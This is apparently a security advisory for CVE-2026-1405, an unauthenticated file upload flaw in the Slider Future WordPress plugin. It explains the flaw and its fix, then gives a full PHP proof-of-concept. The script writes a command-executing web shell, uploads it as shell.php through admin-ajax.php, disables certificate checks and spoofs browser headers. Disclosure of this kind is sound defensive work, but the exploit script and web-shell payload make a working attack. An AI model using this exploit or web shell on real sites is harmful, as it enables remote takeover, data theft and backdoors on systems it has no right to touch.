Atomic Edge analysis of CVE-2026-1405 (metadata-based):
The Slider Future WordPress plugin version 1.0.5 and earlier contains an unauthenticated arbitrary file upload vulnerability. The flaw resides in the ‘slider_future_handle_image_upload’ function, which lacks proper file type validation. This vulnerability receives a CVSS score of 9.8 (Critical) because it requires no authentication, has low attack complexity, and can lead to complete system compromise.
Atomic Edge research indicates the root cause is CWE-434: Unrestricted Upload of File with Dangerous Type. The vulnerability description confirms missing file type validation in a specific function. Without source code, we infer the function likely handles AJAX requests for image uploads. The plugin fails to verify uploaded file extensions or MIME types. It also appears to omit capability checks, allowing unauthenticated users to trigger the upload handler. These conclusions are inferred from the CWE classification and standard WordPress plugin patterns.
Exploitation involves sending a multipart POST request to the WordPress AJAX endpoint. Attackers target /wp-admin/admin-ajax.php with the action parameter set to ‘slider_future_handle_image_upload’. The request includes a file parameter containing malicious content. Attackers can upload PHP files with extensions like .php, .phtml, or .phar. They may also use double extensions (.php.jpg) if the plugin performs incomplete validation. Successful uploads place executable files in the WordPress uploads directory, enabling remote code execution.
Remediation requires implementing multiple security layers. The plugin must validate file types by checking both file extensions and MIME types. It should restrict uploads to authenticated users with appropriate capabilities. The fix should also sanitize file names and store uploaded files outside the web root when possible. WordPress core functions like wp_check_filetype() and current_user_can() provide these protections. The patched version should remove the unauthenticated access to the upload handler entirely.
Successful exploitation grants attackers full control over the affected WordPress site. Attackers achieve remote code execution by uploading web shells or malicious scripts. They can deface websites, steal sensitive data, install backdoors, or pivot to the underlying server. The vulnerability affects all sites running Slider Future 1.0.5 or earlier. Since the plugin is not available on WordPress.org, many sites may remain unpatched indefinitely.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1405 - Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload
<?php
/**
* Proof of Concept for CVE-2026-1405
* Assumptions based on vulnerability description:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. The AJAX action is 'slider_future_handle_image_upload'
* 3. No authentication or nonce is required
* 4. File parameter name is unknown - using 'file' as common convention
* 5. Plugin accepts arbitrary file extensions
*/
$target_url = "https://example.com/wp-admin/admin-ajax.php"; // CHANGE THIS
// Create a simple PHP web shell
$malicious_content = "<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>";
// Create a temporary file with .php extension
$temp_file = tempnam(sys_get_temp_dir(), 'sf_');
$php_file = $temp_file . '.php';
rename($temp_file, $php_file);
file_put_contents($php_file, $malicious_content);
// Prepare POST data
$post_data = [
'action' => 'slider_future_handle_image_upload',
// Other parameters may be required but are unknown from metadata
];
$file_data = [
'file' => new CURLFile($php_file, 'application/x-php', 'shell.php')
];
// Send the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array_merge($post_data, $file_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate upload
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: */*',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate',
'X-Requested-With: XMLHttpRequest'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Clean up
unlink($php_file);
curl_close($ch);
// Note: The actual upload path would need to be extracted from the response
// This PoC demonstrates the attack vector but cannot automatically locate the uploaded file
?>
